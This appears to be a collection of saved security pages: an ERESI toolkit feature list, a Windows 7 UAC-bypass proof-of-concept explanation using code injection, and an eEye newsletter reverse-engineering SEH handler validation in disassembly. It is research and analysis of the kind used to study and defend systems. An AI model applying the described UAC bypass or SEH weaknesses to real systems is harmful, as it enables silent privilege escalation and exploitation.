  * Use the internal libasm API.
  * Unstrip a missing symbol table.
  * Disassemble fully resolved binary code using regular expressions.
  * Plotting control flow graphs with clever color support.
  * Fingerprint functions using md5.

## Runtime embedded binary debugging

Those features are part of the Embedded ELF debugger. All those operations are
implemented without the ptraceOS-level system call :

  * Set and remove breakpoints in whole memory.
  * Execute debug commands on breakpoint.
  * See threads list and switching between threads.
  * Backtrace monothread or multithread programs.
  * Display and modify registers.
  * Read and write memory during debug.
  * Single-step programs without ptrace.
  * Single-step program verbosely until next event.
  * Show stack content during debug.
  * Inject compiled code C directly into memory.
  * Redirect functions directly into memory.
  * Convert dwarf or stabs debug format to edfmt format.

## Runtime embedded binary tracing

Those features are part of libetrace and used in the Embedded ELF tracer:

  * Define sets of functions to be traced.

## Runtime kernel instrumentation

Those features are part of libkernsh and used in the Kernel shell:

  * Injecting compiled C code in the runtime kernel
  * Redirect kernel functions
  * Manipulating the syscall table
  * Accessing the task structures

## Interface builtins

Those features are part of libui and its interface in librevm/io/ :

  * Use colors to alert on output events and dynamically change colors configuration.
  * Create workspace and switch between workspaces.

You can request additional examples by contacting the ERESI team \(see contact
page\).

### Download in other formats:

  * Plain Text

* * *
<img src='img/Temp2_2758.png' width='107' height='30' alt='Trac Powered' />

Powered by **Trac 0.11.1**  
By Edgewall Software.

Copyright ERESI Team \(C\) 2001-2009  
Web design by Marcela Machi

# Windows 7 UAC bypass \[Proof-of-concept\]

**Created:**| _1/8/2011 2:56:31 PM_  
---|---  
**Updated:**| _1/8/2011 2:57:02 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security post-exploitation windows environment_  
  

## Windows 7 UAC bypass \[Proof-of-concept\]

> VIDEO: http://nudel.kelbv.com/W7Elevate/W7Elevate.htm  
>  
>  **Win 7 UAC Code-Injection: How it works**  
>  In the quest to reduce the number of UAC prompts, for their code only,
> Microsoft have granted \(at least\) three groups of components special
> privileges:  
>
>   1. **Processes which anything else can run elevated without a UAC
> prompt.**  
>  This is the list of about 70 processes published on Rafael's Within Windows
> blog. \(Update: New list for RC1 build 7100.\) If you run a process on this
> list and it requires elevation then it -- the whole process -- will be given
> elevation without showing you a UAC prompt.  
>  Discovery of this list is what lead to the earlier RunDll32.exe exploit
> where you could ask RunDll32.exe to run your code from within a DLL and it
> would do so with full elevation and no UAC prompt. Microsoft have since
> removed RunDll32.exe from the list but there are still plenty of other
> processes on the list, several of which can be exploited if you can copy
> files to the Windows folder.
>   2. **Processes which can create certain elevated COM objects without a UAC
> prompt.**  
>  Programs on this second list are able, without being elevated themselves,
> to create certain elevated COM objects without triggering a UAC prompt. Once
> such an object has been created the processes can then tell it to perform
> actions which require administrator rights, such as copying files to
> System32 or Program Files.  
>  This appears to be a superset of the first list. In fact, it seems to
> include all executables which come with Windows 7 and have a Microsoft
> authenticode certificate.  
>  Unbelievably, as of build 7000 \(and confirmed in RC1 build 7100\), the
> list includes not only programs like Explorer.exe which use this feature
> \(or potential security hole, if you like\) but also programs such as
> Calc.exe, Notepad.exe and MSPaint.exe. Microsoft appear to have done nothing
> to minimize the attack surface and have arbitrarily granted almost all of
> their executables with this special privilege whether they actually use it
> or not. You can see evidence of this yourself by opening MSPaint, using the
> File Open dialog as a mini-file manager, and making changes within Program
> Files \(e.g. create a folder or rename something\); it'll let you do that
> without the UAC prompt that non-MS apps should trigger. I doubt that is
> intentional and it shows how little thought has gone into the UAC whitelist
> hacks MS have added to make their own apps seem better.
>   3. **COM objects which can be created with elevation, by the things in
> list 2, without a UAC prompt.**  
>  Full enumeration of this list has not yet been done. The list is known to
> include IFileOperation and may simply be all Microsoft-signed COM objects
> that allow elevation at all.  
>  It does not look like third-party COM objects can be elevated without
> triggering a UAC prompt, even by Microsoft processes, so the process and
> object must be on lists 2 and 3 respectively to bypass the UAC prompt. Given
> the number of processes which can be attacked and the fact that there are
> Microsoft COM objects to do many admin tasks, that isn't much of a
> consolation.
>
My proof-of-concept program is a standalone executable that is run as a normal
unelevated process. I made from scratch in about a day and a half. Keep in
mind that, while I am an experienced Windows developer, I am not a "security
researcher" or "hacker" and this isn't the kind of thing I write every day.  
>  The proof-of-concept works by directly copying \(or _injecting_\) part of
> its own code into the memory of another running processes and then telling
> that target process to run the code. This is done using standard, non-
> privileged APIs such as WriteProcessMemory and CreateRemoteThread.  
>  If the target process is on list 2 \(above\) then our process gains the
> ability to create and control elevated COM objects from list 3 \(above\)
> without triggering a UAC prompt or giving any indication to the user \(under
> default Windows 7 beta settings\).  
>  Typically, Explorer.exe is targeted because it is always running to provide
> the Windows taskbar and desktop. However, innocuous programs such as
> Calc.exe and Notepad.exe can also be targeted, launching them first if
> required. Like the proof-of-concept program, the targeted process is
> unelevated \(and must be for direct code-injection to work\).  
>  The target process can have ASLR on or off and can be 32-bit or 64-bit;
> neither matters. \(However, ASLR should mean that it would be difficult to
> launch a code-injection attack directly and reliably from a remote-code-
> execution exploit. Such an exploit would probably have to write-out and
> launch a separate EXE.\)  
>  The underlying problem is that the silent elevation feature, enabled by
> default in Windows 7 beta, does not check where the code requesting
> elevation comes from. It checks which process it is running within but not
> the particular code came from. So, for example, if you inject code into
> Explorer, or get Explorer to load your DLL, then you can create elevated COM
> objects without the user's knowledge or consent.  
>  There are many ways to get your code into another process that's running at
> the same security level. That usually isn't a problem because there's
> usually nothing you can do in that other process that you can't already do
> in your own. The silent elevation feature changes that.  
>  Getting your code into another process can be done in various ways. You can
> use buffer-overflow exploits \(although ASLR helps greatly to mitigate
> those\) or you can install yourself as a plugin DLL which the targeted
> program loads, like an Explorer shell extension. My proof-of-concept program
> uses a well-known technique called code injection. Code injection has the
> advantage that you don't have to trick the target program into loading your
> code; you simply push it into the other process and tell it to run it. This
> isn't a hack, either; everything is done using documented, supported APIs.
> \(Legitimate uses of the APIs include debugging and inter-process
> communication. The APIs do not require elevation to use.\)  
>  \(Note: The Wikipedia article on code injection is, at the time of writing,
> about a related but different type of code injection. Unlike what's
> described there, the code-injection technique I am using does not depend on
> feeding the target program a specially-crafted input that confuses it.
> Instead, I am calling Windows APIs which allow one process to copy code and
> data into another and then make that target process execute the code. The
> technique is often called _DLL injection_ in the Windows world, but that
> name isn't accurate here because I am not injecting a DLL. I am copying, or
> _injecting_ , the code directly from my in-memory exe to the target process.
> Update: A second technique which does use a DLL is used as well now, but the
> main technique discussed here still doesn't invole DLLs. See the source
> archive for details.\)  
>  
>  
>  Original page: http://www.pretentiousname.com/misc/...hitelist2.html
<img src='img/Temp2_9559.png' /> Attached Files

  * <img src='img/Win7ElevateV2_Source.zip' width='265' height='49' /><img src='img/Temp2_9558.png' alt='File Type: zip' /> Win7ElevateV2\_Source.zip \(122.4 KB, 938 views\)

# Vice - eEye Industry Newsletter | September 5, 2006
**Created:**| _1/17/2011 9:30:13 PM_  
---|---  
**Updated:**| _1/17/2011 9:31:33 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security Exploit windows environment awesome seh_  
  

<img src='img/Temp2_8883.png' width='752' alt='Vice - eEye Industry
Newsletter' />

September 5, 2006

Again, welcome on behalf of the eEye Research team to another issue of VICE, a
free technical newsletter featuring content from the team representing the
foundation of eEye as a company and culture.  
  
The feature article this month is from Ben Nagy, Senior Security Engineer, He
discusses the improved security offered by the changes in Structured Exception
Handling \(SEH\), with detailed analysis of the protection methods in the
recent service packs for both Windows XP and Windows 2003.  
  
Finally, we are proud to announce the release of the **eEye Research Portal**.
Check it out for cool tools, security alerts, advisories and the brand new
eEye Research BLOG: research.eeye.com.  
  
Enjoy\!  
eEye Team Vice

IN THIS ISSUE

VULNERABILITY EXPOSED\!

  * SEH \(STRUCTURED EXCEPTION HANDLING\) SECURITY CHANGES IN XPSP2 AND 2003 SP1

ASK RESEARCH

  * SILENTLY FIXING SOFTWARE SECURITY FLAWS
  * PATCHES MISSING FOR D-LINK JULY SECURITY UPDATE

ETCETERA

  * DON'T BELIEVE EVERYTHING YOU READ
  * CALL 1-800-0WN3D

VULNERABILITY EXPOSED\!

SEH \(STRUCTURED EXCEPTION HANDLING\) SECURITY CHANGES IN XPSP2 AND 2003 SP1

If you're reading this, hopefully you already know why abusing Structured
Exception Handling, or SEH, is extremely interesting for Windows exploit
writers. As a quick summary, SEH can provide a useful and portable way to
precisely locate stack-based shell code, and can also be used to evade
Microsoft's stack protection by having the OS dispatch control to a bogus
exception handler, bypassing the stack cookie check. In fact, causing an
exception before the function returns is probably the only way to avoid the
stack cookie check, which makes the security of SEH an area of great
importance.  
  
So, this whole thing began when I started cataloging all of the new
exploitation-related security features that Microsoft have added to their
recent operating systems. All those high level details, covering much more
than just SEH, can be found in an eEye white paper\(1\).  
  
After describing those new protection methods at a conference recently, a
Microsoft employee told me privately that the new Structured Exception
Handling \(SEH\) protection was not nearly as weak as I had described. That
interested me, since my primary research for that part of the presentation was
a paper by David Litchfield\(2\), written in 2003, nothing having been
published since. It appeared that some changes had been made in XPSP2 and 2003
SP1 which had not been made public. Obviously, it was time to go digging\!  
  
The best overall reference work on Structured Exception Handling was written
by Matt Pietrek, back in 1997\(3\). If you're not already familiar with low-
level SEH operation, go read that paper now and come back, it will really
help.  
  
After an exception, the kernel returns control to user land at
KiUserExceptionDispatcher, and the basic call structure from there is like
this \(this is from Pietrek's article\):  
  
KiUserExceptionDispatcher\(\)  
RtlDispatchException\(\)  
RtlpExecuteHandlerForException\(\)  
ExecuteHandler\(\)  
  
Assuming that Litchfield wrote his paper when Windows 2003 had been recently
released, it seemed logical to compare that code with the code I was
interested in, in Windows XPSP2.  
  
KiUserExceptionDispatcher really just hands things off to
RtlDispatchException, so there is nothing to see there. RtlDispatchException
is where things start to get interesting. The first thing to note is that
there is some code that wasn't there in Windows 2000 which prevents the OS
from dispatching to an exception handler on the stack. That code is there in
Windows 2003 SP0, and appeared in Windows XP sometime before Service Pack 2.
The next thing to note as a difference from Windows 2000 is a whole new
function – RtlIsValidHandler – that is called before
RtlpExecuteHandlerForException. That function is present on 2003 SP0 and
XPSP2, and it seems likely that a lot of the new protection is implemented in
there.  
  
**A First Glance**  
  
Without even starting to reverse anything yet, let's take a quick look at the
function graphs of RtlIsValidHandler from 2003 SP0 and XPSP2.  
  

<img src='img/Temp2_8882.png' />

  
  
OK, it certainly looks like they changed a few things\! For now, then, I'm
going to assume that Litchfield's analysis of 2003 was correct at the time,
and focus on the new code in XPSP2. By the way, in case you're wondering,
RtlIsValidHandler\(\) is identical in XPSP2 and 2003SP1.  
  
After a few minutes of inspection, the pseudo code for RtlIsValidHandler on
2003 SP0 looks like this:  
  

>
[code]

>     if (&handler is in a module with an SEH registration structure) {  
>     >     if (&handler is registered) {  
>     >                return TRUE;  
>     >       else  
>     >             return FALSE;  
>     >      }  
>     > }  
>     > // otherwise...  
>     > unless (RtlLookupFunctionTable returned -1) {  
>     >      //--- TODO, add some security here! For now just allow it  
>     >         return TRUE;  
>     > }  
>     > return FALSE;
>  
[/code]

  
By the way, when RtlIsValidHandler returns FALSE that will cause
RtlDispatchException to return DISPOSITION\_DISMISS, which should in turn
raise STATUS\_NONCONTINUABLE\_EXCEPTION, and bail out to the UEF \(after doing
whatever else it does\).  
  
**Digging Deeper**  
  
Now let's take a closer look at the new code.  
  
Things start off the same, with an attempt to retrieve the SEH information for
the handler address. If there is an SEH registration structure, things proceed
more or less the same as before. We reach the following assembly, which is
reproduced below, as a small reverse engineering puzzle. What is going on
here?  
  

>
[code]

>     Register Start States:  
>     > EDI - SEHandlerCount  
>     > EDX - 0  
>     > EAX - Pointer to SEHandlerTable  
>     >  
>     > .text:7C9378F3 CheckRegisteredHandlers:  
>     > .text:7C9378F3           lea     ecx, [edi+edx]  
>     > .text:7C9378F6           sar       ecx, 1  
>     > .text:7C9378F8           mov       ebx, [eax+ecx*4]  
>     > .text:7C9378FB           cmp     esi, ebx  
>     > .text:7C9378FD           jb      loc_7C92AA34  
>     > .text:7C937903           ja  loc_7C92E1D8  
>     >  
>     > .text:7C937909 HandlerValid:  
>     > .text:7C937909  
>     > .text:7C937909           mov        al, 1 ; return true  
>     > [...]  
>     > .text:7C937916           leave  
>     > .text:7C937917           retn        4  
>     >  
>     > .text:7C92AA34 loc_7C92AA34:  
>     > .text:7C92AA34           lea  edi, [ecx-1]  
>     > .text:7C92AA37  
>     > .text:7C92AA37 loc_7C92AA37:  
>     > .text:7C92AA37           cmp        edi, edx  
>     > .text:7C92AA39           jl      HandlerInvalid  
>     > .text:7C92AA3F           jmp       CheckRegisteredHandlers  
>     >  
>     > .text:7C92E1D8 loc_7C92E1D8:  
>     > .text:7C92E1D8           lea   edx, [ecx+1]  
>     > .text:7C92E1DB           jmp loc_7C92AA37
>  
[/code]

  
The key to understanding this snippet is recognizing the "sar ecx, 1"
instruction \(Shift Arithmetic Right\) as the division of a variable by two,
which is then used as an index into the handler table "mov ebx,
\[eax+ecx\*4\]". This snippet is a binary search, and it's a much faster way
to search an ordered table of values than simply iterating through them.
Here's what that section looks like when converted into C:  
  

>
[code]

>     i = 0;  
>     > j = SEHCount;  
>     >  
>     > do {  
>     >  k = (i + j) / 2;  
>     >  
>     >   if (HandlerAddress < SEHTable[k]) {  
>     >           j = k - 1;  
>     >         }  
>     >         else if (HandlerAddress > SEHTable[k]) {  
>     >              i = k + 1;  
>     >         }  
>     >         else { // found handler within SEH table  
>     >         return TRUE;  
>     >      }  
>     > }  
>     > while (i <= j);  
>     > //--- If not found...  
>     > RtlInvalidHandlerDetected(HandlerAddress, SEHTable, SEHCount);
>  
[/code]

  
Eventually we will be able to convert the whole of RtlIsValidHandler to C, to
make it easier to follow.  
  
So, that covers the cases where the handler is in a loaded module with an SEH
registration structure – no more jumping to known DLL offsets to find a
pop,pop,ret. At least not in DLLs that have registered exception handlers...  
  
Now let's look at what happens when that's not the case. The first thing we
see is a call to NtQueryVirtualMemory followed by a couple of interesting
tests. Documented function calls are a big help when reverse engineering.
Because we know the calling convention of NtQueryVirtualMemory, we can start
to rename the internal function variables, which makes things much easier to
understand.  
  
When calling NtQueryVirtualMemory, one of the parameters is the address of a
structure which will be filled out with the results of the call. In the
example below, the code specifies that the results should be a
MEMORY\_BASIC\_INFORMATION structure. This is a 28 byte structure, which is
based at EBP-0x34, and so it finishes at EBP-0x18. Since we know the structure
definition, we can go ahead and name the structure members in that range to
match. Here is what it looks like when all that is done. Unfortunately, it's
not always this easy.  
  

>
[code]

>     .text:7C937B80           lea eax, [ebp+ResultLength]  
>     > .text:7C937B83           push     eax  
>     > .text:7C937B84           push 1Ch  
>     >                        ; sizeof(MBI), 1C == 28 bytes  
>     > .text:7C937B86           lea        eax, [ebp+MBI]  
>     > .text:7C937B89           push    eax  
>     >                      ; &struct (to hold the result)  
>     > .text:7C937B8A           push  ebx  
>     >                    ; EBX = 0 - MEMORY_BASIC_INFORMATION  
>     > .text:7C937B8B           push        esi  
>     >                     ; Handler Address  
>     > .text:7C937B8C           push   0FFFFFFFFh  
>     >                  ; -1 - CurrentProcessId  
>     > .text:7C937B8E           call     _NtQueryVirtualMemory@24  
>     > .text:7C937B93           test    eax, eax  
>     > .text:7C937B95           jl      HandlerValid  
>     > .text:7C937B9B           test        [ebp+MBI.Protect], 0F0h  
>     > .text:7C937B9F           jz      loc_7C94EA34  
>     > .text:7C937BA5           cmp [ebp+MBI.Type], 1000000h  
>     > .text:7C937BAC           jnz    HandlerValid
>  
[/code]

  
The first thing that jumps out is this:  
  

>
[code]

>     .text:7C937B9B           test     [ebp+MBI.Protect], 0F0h  
>     > .text:7C937B9F           jz      loc_7C94EA34
>  
[/code]

  
The test instruction performs a bitwise AND and sets the status flags
accordingly. After looking up the Memory Protection Constants, we can see that
0F0 is a mask which will cause this test to be non-zero anytime the page is
PAGE\_EXECUTE. In other words, if the page containing our handler is NOT
executable, we jump somewhere. Interesting, we'll check that out in a minute.  
  
Next, we see this:  
  

>
[code]

>     .text:7C937BA5           cmp       [ebp+MBI.Type], 1000000h  
>     > .text:7C937BAC           jnz    HandlerValid
>  
[/code]

  
That type is defined as MEM\_IMAGE – the page regions which contain loaded
modules and the executable image itself will all be of this type. So, if the
page containing our handler is executable but NOT within a loaded module then
it's valid. This is presumably to cater for runtime code generation or some
similar thing.  
  
So, this is big news\! None of these checks were present in Windows 2003 SP0.
One of the attacks against stack protection in Windows 2003 SP0, described by
David Litchfield in his paper, involved locating suitable trampoline code
inside a memory-mapped file, or perhaps causing suitable code to fill the heap
and dispatching to a heap location. In those circumstances, though, the page
would not normally be executable, and so the check at loc\_7C94EA34 will come
into play.  
  
Let's take a look at it.  
  

>
[code]

>     .text:7C94EA34 loc_7C94EA34:  
>     > .text:7C94EA34           push ebx  
>     > .text:7C94EA35           push 4  
>     > .text:7C94EA37           lea    eax, [ebp+mystery]  
>     > .text:7C94EA3A           push  eax  
>     > .text:7C94EA3B           push 22h  
>     > .text:7C94EA3D           push 0FFFFFFFFh  
>     > .text:7C94EA3F           mov   [ebp+mystery], ebx  
>     > .text:7C94EA42           call  _ZwQueryInformationProcess@20  
>     > .text:7C94EA47           test       eax, eax  
>     > .text:7C94EA49           jl      short loc_7C94EA55  
>     > .text:7C94EA4B           test  byte ptr [ebp+mystery], 10h  
>     > .text:7C94EA4F           jnz  HandlerValid  
>     > .text:7C94EA55           push        0FFFFFFFEh  
>     > .text:7C94EA57           push  0FFFFFFFEh  
>     > .text:7C94EA59           push  esi  
>     > .text:7C94EA5A           call _RtlInvalidHandlerDetected@12
>  
[/code]

  
The calling convention for ZwQueryInformationProcess \(which is just a wrapper
for NtQueryInformationProcess\) is well known, but we still aren't able to
identify our mystery variable. Why not? The second parameter is a
PROCESS\_INFORMATION\_CLASS, which tells NtQueryInformationProcess what kind
of information to return. Unfortunately, class 0x22 is not documented
anywhere, so we really have no idea what this byte test against 0x10 is trying
to determine. However, we can see that if that bit is set then the handler is
considered valid, even though the page is not executable. Otherwise, we call
RtlInvalidHandlerDetected\(HandlerAddress, -2, -2\).  
  
First, a quick inspection of RtlInvalidHandlerDetected is in order, since we
saw it called before with the SEH registration table and the registered SEH
count as parameters instead of -2, -2. The results are a little unusual, and
can be flippantly represented by the following pseudo code:  
  

>
[code]

>     if(-2 == SEHTable && -2 == SEHCount) {  
>     >       CallKernel32UnhandledExceptionFilter([...],c0000005,[...]);  
>     >       // Shut down immediately, STATUS_ACCESS_VIOLATION  
>     > else  
>     >      do_nothing()  
>     >      // Fix later, free donuts in the kitchen...  
>     > }  
>     > return;
>  
[/code]

  
OK, so if this mystery check fails then the rest of the SEH machinery will be
bypassed and the UEF will be called immediately. It's time to jump into the
kernel and work out what this mystery PROCESS\_INFORMATION\_CLASS is.  
  
**Into Ring 0**  
  
On opening up NTOSKRNL.EXE in IDA, something horrible happened to me – the
symbols didn't work. That's bad, since we don't get names or call-hints for
non-exported functions. For now, we won't worry about it.
NtQueryInformationProcess is easy enough, even without symbols. All the major
functionality is based around a large switch statement, and tracking down case
0x22 is quickly done. Once there, there is a call to a subroutine that IDA
calls sub\_54D0A6, which is fairly simple:  
  

>
[code]

>     PAGE:0054D0AB           mov      eax, large fs:124h  
>     > PAGE:0054D0B1           mov    eax, [eax+44h]  
>     > PAGE:0054D0B4           mov        cl, [eax+6Bh]  
>     > PAGE:0054D0B7           mov eax, [ebp+arg_0]  
>     > PAGE:0054D0BA           and      dword ptr [eax], 0  
>     > PAGE:0054D0BD           xor    edx, edx  
>     > PAGE:0054D0BF           inc      edx  
>     > PAGE:0054D0C0           test  cl, dl        ; case 1  
>     > PAGE:0054D0C2           jz short loc_54D0C6  
>     > PAGE:0054D0C4           mov      [eax], edx  
>     > PAGE:0054D0C6  
>     > PAGE:0054D0C6 loc_54D0C6:  
>     > PAGE:0054D0C6           test        cl, 2         ; case 2  
>     > PAGE:0054D0C9           jz short loc_54D0CE  
>     > PAGE:0054D0CB           or       dword ptr [eax], 2  
>     > [...]                [...]  
>     > PAGE:0054D0DE           test  cl, 10h       ; case 0x10  
>     > PAGE:0054D0E1           jz      short loc_54D0E6  
>     > PAGE:0054D0E3           or       dword ptr [eax], 10h  
>     > [...]                      [...]  
>     > PAGE:0054D0EE           xor   eax, eax  
>     > PAGE:0054D0F0           pop      ebp  
>     > PAGE:0054D0F1           retn  4
>  
[/code]

  
So, we can see that the single parameter is a pointer to a bitfield, which is
being modified according to the flags located in some kernel structure that
has been loaded in CL \(the bottom byte of ECX\). Google quickly comes to the
rescue. fs:124h is a shortcut to the kernel THREAD structure for the current
thread. Probably the best way to get instant documentation on this kind of
structure is to use the WinDbg kernel debugger. In this case it tells us this
\(output trimmed\):  
  

>
[code]

>     kd> .load kdex2x86 (for some kernel debugging extensions)  
>     > kd> !ethread 81893020  
>     > struct   _ETHREAD (sizeof=584)  
>     > +000 struct   _KTHREAD Tcb  
>     > +000    struct   _DISPATCHER_HEADER Header  
>     > +000       byte     Type =                 03  
>     > +001       byte     Absolute =            00  
>     > +002       byte     Size =                  1b  
>     > +003       byte     Inserted =            00  
>     > +004       int32    SignalState =              00000000  
>     > +008       struct   _LIST_ENTRY WaitListHead  
>     > +008          struct   _LIST_ENTRY *Flink =      81893028  
>     > +00c          struct   _LIST_ENTRY *Blink =      81893028  
>     > [...]  
>     > +044       struct   _KPROCESS *Process =       81893060  
>     > +048       byte     KernelApcInProgress =        00  
>     > +049       byte     KernelApcPending =            00  
>     > +04a       byte     UserApcPending =               00  
>     > [...]
>  
[/code]

  
So, offset 44h is a pointer to the KPROCESS structure for the current process.
Next, offset 0x6b of that structure is moved into the bottom byte of ECX, so
let’s see what WinDbg tells us about \_KPROCESS \(output trimmed\).  
  

>
[code]

>     kd> dt nt!_KPROCESS 81893060 -r  
>     >    +0x000 Header           : _DISPATCHER_HEADER  
>     >       +0x000 Type                : 0x3 ''  
>     >       +0x001 Absolute            : 0 ''  
>     >       +0x002 Size                  : 0x1b ''  
>     >       +0x003 Inserted           : 0 ''  
>     >       +0x004 SignalState           : 0  
>     > [...]  
>     >    +0x018 DirectoryTableBase : [2] 0xf8be000  
>     >    +0x020 LdtDescriptor  : _KGDTENTRY  
>     >       +0x000 LimitLow              : 0  
>     >       +0x002 BaseLow                  : 0  
>     >       +0x004 HighWord                 : __unnamed  
>     >          +0x000 Bytes                 : __unnamed  
>     >          +0x000 Bits                  : __unnamed  
>     > [...]  
>     >    +0x05c Affinity                : 1  
>     >    +0x060 StackCount          : 1  
>     >    +0x062 BasePriority        : 8 ''  
>     >    +0x063 ThreadQuantum            : 18 ''  
>     > [...]  
>     >    +0x06b Flags               : _KEXECUTE_OPTIONS  
>     >       +0x000 ExecuteDisable                   : 0y0  
>     >       +0x000 ExecuteEnable                  : 0y0  
>     >       +0x000 DisableThunkEmulation  : 0y0  
>     >       +0x000 Permanent                      : 0y0  
>     >       +0x000 ExecuteDispatchEnable  : 0y0  
>     >       +0x000 ImageDispatchEnable    : 0y0  
>     >       +0x000 Spare                          : 0y00  
>     >    +0x06b ExecuteOptions           : 0 ''
>  
[/code]

  
There we go\! Flag 0x10 is ExecuteDispatchEnable. The XPSP2 system this was
taken from uses the default DEP setting, which is OptIn \(look in boot.ini for
/NoExecute=OptIn\). Just as a test, I changed it to Always Off, and got the
following:  
  

>
[code]

>     +0x06b Flags             : _KEXECUTE_OPTIONS  
>     >       +0x000 ExecuteDisable                   : 0y0  
>     >       +0x000 ExecuteEnable                  : 0y1  
>     >       +0x000 DisableThunkEmulation  : 0y0  
>     >       +0x000 Permanent                      : 0y1  
>     >       +0x000 ExecuteDispatchEnable  : 0y1  
>     >       +0x000 ImageDispatchEnable    : 0y1  
>     >       +0x000 Spare                          : 0y00  
>     >    +0x06b ExecuteOptions           : 0x3a ':'
>  
[/code]

  
Just to be doubly sure, this is a handy trick. By turning on "function offset
addressing" in IDA, we can disassemble NtQueryVirtualMemory in WinDbg \(using
u <address> or uf <function>\) and match up the offsets – we find that
sub\_54D0A6 is really called \_MmGetExecutionOptions.  
  
So, now things are becoming clearer. If DEP is enabled, RtlIsValidHandler will
check the execution permissions on the page, and raise a
STATUS\_ACCESS\_VIOLATION if an attempt is made to dispatch to a handler in NX
memory – whether the CPU supports NX at a hardware level or not. That's an
important change\!  
  
**A Few Loose Ends**  
  
Looking back at the Windows 2003 pseudo code, we notice that the special check
for a return value of -1 from RtlLookupFunctionTable is still present in the
SP2 code. All that is left now is to find out what would cause this -1 return
value, and we'll have the complete picture. The answer to this question lies
not within RtlLookupFunctionTable itself, but in
RtlCaptureImageExceptionValues. RtlCaptureImageExceptionValues is designed to
return a pointer to the SEH Registration Table, if one exists, as well as the
number of registered handlers. It is called by RtlLookupFunction table, which
first has to find the base of the page region containing the handler.  
  
Although we completely reversed RtlCaptureImageExceptionValues \(looking for
anomalies\), here is a much faster way. Locate and name the code location that
sets the -1 return values, then look for possible code paths leading to that
location using the IDA function graph \(F12\). It turns out that there are
only two ways to get there. This is the first, right at the start of the
function:  
  

>
[code]

>     .text:7C9379CE           push         [ebp+ImageBase]  
>     > .text:7C9379D1           call    _RtlImageNtHeader@4  
>     > .text:7C9379D6           test byte ptr [eax+5Fh], 4  
>     > .text:7C9379DA           jnz       returnminusone
>  
[/code]

  
So it looks like that's a check against the DllCharacteristics field in the
IMAGE\_OPTIONAL\_HEADER:  
  

>
[code]

>     0:000> dt _IMAGE_NT_HEADERS -r  
>     >    +0x000 Signature        : Uint4B  
>     >    +0x004 FileHeader       : _IMAGE_FILE_HEADER  
>     > [...]  
>     >    +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER  
>     > [...]  
>     >       +0x046 DllCharacteristics     : Uint2B  
>     >       +0x048 SizeOfStackReserve : Uint4B  
>     >       +0x04c SizeOfStackCommit  : Uint4B
>  
[/code]

  
So, if DllCharacteristics has 0x04 set, we return -1 immediately. Sadly, there
seems to be no modern documentation on that field anywhere, so it will have to
remain a minor mystery. One possible meaning for this check is that it lets
you mark DLLs as "no handlers here, go away", but that's just a guess.  
  
The other way to cause a return of -1 is this:  
  

>
[code]

>     .text:7C937BD0 NoSEHTable:  ;There is no SEH Registration table  
>     > .text:7C937BD0  
>     > .text:7C937BD0           lea      eax, [ebp+ImageBase]  
>     > .text:7C937BD3           push        eax  
>     > .text:7C937BD4           push 0Eh   ; COM_DESCRIPTOR  
>     > .text:7C937BD6           push      1  
>     > .text:7C937BD8           push   [ebp+ImageBase]  
>     > .text:7C937BDB           call     _RtlImageDirectoryEntryToData@16  
>     > .text:7C937BE0           test    eax, eax  
>     > .text:7C937BE2           jnz     ManagedCodeCheck  
>     >  
>     > .text:7C937BE8 returnzero:  
>     > .text:7C937BE8           mov    eax, [ebp+HandlerTable]  
>     > .text:7C937BEB           and      dword ptr [eax], 0  
>     > .text:7C937BEE           mov   eax, [ebp+HandlerCount]  
>     > .text:7C937BF1           and      dword ptr [eax], 0  
>     > .text:7C937BF4           jmp   locret_7C937A37  
>     >  
>     > .text:7C94F6C0 ManagedCodeCheck:  
>     > .text:7C94F6C0           test  byte ptr [eax+10h], 1 ; flags  
>     > .text:7C94F6C4           jnz        short returnminusone  
>     > .text:7C94F6C6           jmp returnzero
>  
[/code]

  
RtlImageDirectoryEntryToData returns information from the IMAGE\_DIRECTORY
entries linked to the PE Header. In this case, we’re looking at a flag that
has something to do with the COM\_DESCRIPTOR entry \(0xe\). A little sleuthing
turns up the fact that IMAGE\_DIRECTORY\_COM\_DESCRIPTOR uses the header
structure COR20\_HEADER. COR20 ... Common Object Runtime 2.0? Hey, COM+ 2.0
was the early name for the .NET framework, so it’s very likely that this check
is something to do with .NET Managed Code. If the code is Managed then the
checking can be much more strict about modules that have missing SEH
Registration Tables. Probably this is why it has a special return value, to
let RtlIsValidHandler know that it was more than just a generic failure to
find the SEH table – that probably happens all the time with 3rd party
applications that use custom .DLLs.  
  
In fact, looking up the flag in corhdr.h and then some more detective work
finally turns up the following definition. Bingo.  
  

> COMIMAGE\_FLAGS\_ILONLY \(0x00000001\) The Image contains IL Code Only, with
> no embedded native unmanaged code, except the startup stub. Because Common
> Language Runtime - aware Operating Systems \(such as Windows XP\) ignore the
> startup stub, for all practical purposes the file can be considered Pure-
> IL.\[...\]
  
  
**\_RtlIsValidHandler\(PVOID handler\)**  
  
So, with all that out of the way, we are finally ready to convert the new
RtlIsValidHandler to pseudo code. This is done for clarity, actually based on
an exact C conversion that was produced during the course of the
investigation.  
  

>
[code]

>     if (SEHTable != NULL && SEHCount != 0) {  
>     >      if (SEHTable == -1 && SEHCount == -1) {  
>     >          // Managed Code but no SEH Registration table  
>     >             // or IMAGE_LOAD_CONFIG.DllCharacteristics == 4  
>     >           return FALSE;  
>     >      }  
>     >         if (&handler is registered) {  
>     >                return TRUE;  
>     >       else  
>     >             return FALSE;  
>     >      }  
>     > }  
>     > // otherwise...  
>     > if (&handler is on an NX page) {  
>     >        if (DEP is turned on) {  
>     >          bail(STATUS_ACCESS_VIOLATION);  
>     >     else  
>     >             return TRUE;  
>     >       }  
>     > }  
>     > if (&handler is on a page mapped MEM_IMAGE) {  
>     > // normally only true for executable modules  
>     >      if (SEHTable == NULL && SEHCount == 0) {  
>     >         return TRUE;  
>     >              // probably an old or 3rd party DLL  
>     >               // without SEH registrations  
>     >       }  
>     >         return FALSE // we should have caught this before  
>     >                     // so something is wrong.  
>     > }  
>     > // Handler is on a eXecutable page, but not in module space  
>     > // Allow it for compatibility.  
>     > return TRUE;
>  
[/code]

  
There are one or two little quirks, like this little snippet that happens just
before the NX check:  
  

>
[code]

>     .text:7C937B8E           call     _NtQueryVirtualMemory@24  
>     > .text:7C937B93           test    eax, eax  
>     > .text:7C937B95           jl      HandlerValid
>  
[/code]

  
Which is going to mark a handler as valid if NtQueryVirtualMemory fails for
some reason – a more secure approach would be to mark the handler as invalid,
which is “default deny”. Also, note that the default is to allow any handlers
